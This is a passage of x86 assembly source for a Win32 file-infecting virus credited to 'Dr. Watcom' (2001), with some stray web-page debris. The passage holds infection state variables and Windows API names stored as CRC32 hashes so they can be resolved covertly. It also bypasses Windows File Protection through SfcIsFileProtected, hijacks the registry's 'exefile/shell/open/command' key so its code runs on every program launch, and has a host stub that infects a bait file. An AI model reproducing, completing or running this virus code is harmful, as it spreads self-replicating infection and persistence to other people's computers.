db 01Fh ; pop ds
db 0B4h, 009h ; mov ah, 09
db 0CDh, 021h ; int 21
db 0B8h, 001h, 04ch ; mov ax, 04C01
db 0CDh, 021h ; int 21
MSDOS_String:
; db 'This program requires Microsoft Windows.'
; db 'This program cannot be run in DOS mode.'
; db 'This program must be run under Win32.'
; Aargh! I need more space!
db 'This program needs Win32'
db CRLF, '$', 0
EPOLoader_End:
SIZE_EPO_LOADER equ EPOLoader_End - EPOLoader
;屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯


;赏屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯突
;?Virus Data ?
;韧屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯图
Kernel32 dd 00h
HostEntry dd 00h
CRC32 dd 00h
Key32 dd 00h
Count dd 00h
StartupInfo dd 00h
ProcessInfo dd 00h
CmdLine dd 00h
CmdSpawn dd 00h
CmdExefile dd 00h

RndSeed_1 dd 00h
RndSeed_2 dd 00h
RndSeed_3 dd 00h
RndSeed_4 dd 00h
RndSeed_5 dd 00h
RndSeed_6 dd 00h

; Export table data
;-------------------------------
ET_MaxNames dd 00h
ET_PtrNames dd 00h
ET_PtrAddresses dd 00h
ET_PtrOrdinals dd 00h
ET_TmpAddress dd 00h

; Infection data
;-------------------------------
FileName dd 00h
FileAttribs dd 00h
FileSize dd 00h
FileHandle dd 00h
FileMapping dd 00h
FileView dd 00h
FileTime_Created dd 00h, 00h
FileTime_Accessed dd 00h, 00h
FileTime_Written dd 00h, 00h

File_ImageBase dd 00h
File_EntryPoint dd 00h
File_Sections dd 00h
File_SectionHeader dd 00h
File_SectionSize dd 00h
File_SectionRaw dd 00h
File_SectionRVA dd 00h

FileInfected dd 00h

Kernel_API_CRC32:
_ExitProcess dd 040F57181h
_CreateProcess dd 0267E0B05h
_LoadLibrary dd 04134D1ADh
_GetProcAddress dd 0FFC97C1Fh
_GlobalAlloc dd 083A353C3h
_GetModuleFileName dd 004DCF392h
_GetStartupInfo dd 052CA6A8Dh
_GetCommandLine dd 03921BF03h
_GetWindowsDirectory dd 0FE248274h
_CloseHandle dd 068624A9Dh
_CreateFile dd 08C892DDFh
_CreateFileMapping dd 096B2D96Ch
_MapViewOfFile dd 0797B49ECh
_UnmapViewOfFile dd 094524B42h
_GetFileAttributes dd 0C633D3DEh
_SetFileAttributes dd 03C19E536h
_GetFileSize dd 0EF7D811Bh
_GetFileTime dd 04434E8FEh
_SetFileTime dd 04B2A3E7Dh
_CopyFile dd 05BD05DB1h
_GetTickCount dd 0613FD7BAh
_GetSystemTime dd 075B7EBE8h
_Sleep dd 00AC136BAh
_lstrcat dd 0C7DE8BACh
dd 00000000h

Kernel_API_Addr:
ExitProcess_ dd 0
CreateProcess dd 0
LoadLibrary dd 0
GetProcAddress dd 0
GlobalAlloc dd 0
GetModuleFileName dd 0
GetStartupInfo dd 0
GetCommandLine dd 0
GetWindowsDirectory dd 0
CloseHandle dd 0
CreateFile dd 0
CreateFileMapping dd 0
MapViewOfFile dd 0
UnmapViewOfFile dd 0
GetFileAttributes dd 0
SetFileAttributes dd 0
GetFileSize dd 0
GetFileTime dd 0
SetFileTime dd 0
CopyFile dd 0
GetTickCount dd 0
GetSystemTime dd 0
Sleep dd 0
lstrcat dd 0

User_API_CRC32:
_MessageBox dd 0D8556CF7h
_wsprintf dd 0A10A30B6h
dd 00000000h
User_API_Addr:
MessageBox dd 0
wsprintf dd 0

Advapi_API_CRC32:
_RegOpenKeyEx dd 0CD195699h
_RegCloseKey dd 0841802AFh
_RegSetValueEx dd 05B9EC9C6h
_RegSetValue dd 0E78187CEh
dd 00000000h

Advapi_API_Addr:
RegOpenKeyEx dd 0
RegCloseKey dd 0
RegSetValueEx dd 0
RegSetValue dd 0

Strings:
szVirusName db VIRUS_NAME, 0
szVirusCredits db '[',VIRUS_NAME, '] ', VIRUS_VERSION, CRLF
db '(c) 2001 by Dr. Watcom', CRLF, CRLF
db 'Communio gets us closer to our Dark Father', CRLF
db 'Come, share your vitae with me', CRLF, 0
szUser32 db 'USER32.DLL', 0
szAdvapi32 db 'ADVAPI32.DLL', 0
szSfc db 'SFC.DLL', 0
szSfcProc db 'SfcIsFileProtected', 0
szRegKey db 'exefile/shell/open/command', 0
szRegValue db SPAWN_NAME, ' ', 1, '"%1" %*', 0
szSpawnFile db '/', SPAWN_NAME, 0
Padding dd ?

End:
;屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯


;赏屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯突
;?Host Code ?
;韧屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯图
FakeHost:

mov esi, offset szBait
call InfectFile

sub esp, 1024
mov esi, esp

push 2
push VIRUS_SIZE
push VIRUS_SIZE
push offset szTemplate
push esi
call _wsprintfA

push 1040h
push offset szTitle
push esi
push 0
call MessageBoxA

add esp, 1024

FakeHost_Quit:
push 0
call ExitProcess

;屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯屯
End Start
End
原创粉丝点击